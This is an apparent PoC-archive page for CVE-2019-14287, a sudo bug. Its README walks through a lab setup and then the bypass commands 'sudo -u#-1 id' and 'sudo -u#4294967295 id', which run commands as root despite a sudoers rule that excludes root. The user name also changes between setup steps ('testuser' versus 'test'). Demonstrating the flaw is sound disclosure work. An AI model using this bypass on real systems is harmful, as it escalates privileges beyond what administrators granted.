Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-14287 PoC — Sudo 输入验证错误漏洞

Source
Associated Vulnerability
Title:Sudo 输入验证错误漏洞 (CVE-2019-14287)
Description:Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序。 sudo 1.8.28之前版本中存在安全漏洞。攻击者可利用该漏洞以root权限运行命令。
Readme
# CVE-2019-14287-write-up #

4294967295
Sudo Bug Allows Restricted Users to Run Commands as Root

## DEMONSTRATION OF VULNERABILITY

### Add a new user:
sudo su - root
useradd -m -s /bin/bash testuser
passwd testuser  // add password to user
visudo

### Add a new entry
test    ALL=(ALL, !root) /usr/bin/id  // specifying that this user cannot use id command with root user

SAVE THE FILE AND EXIT FROM ROOT USER

### LOGON TO TEST USER
sudo su - test

### Write command
sudo id
YOU WILL BE PROMPTED WITH MESSAGE Sorry, user test is not allowed to execute '/usr/bin/id' as root

### NOW WRITE COMMAND
sudo -u#-1 id 
OR
sudo -u#4294967295 id

And there go, you have executed id command using root
File Snapshot

[4.0K] /data/pocs/d510a3a79795f05ec59895fd3676add330abdfec └── [ 696] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.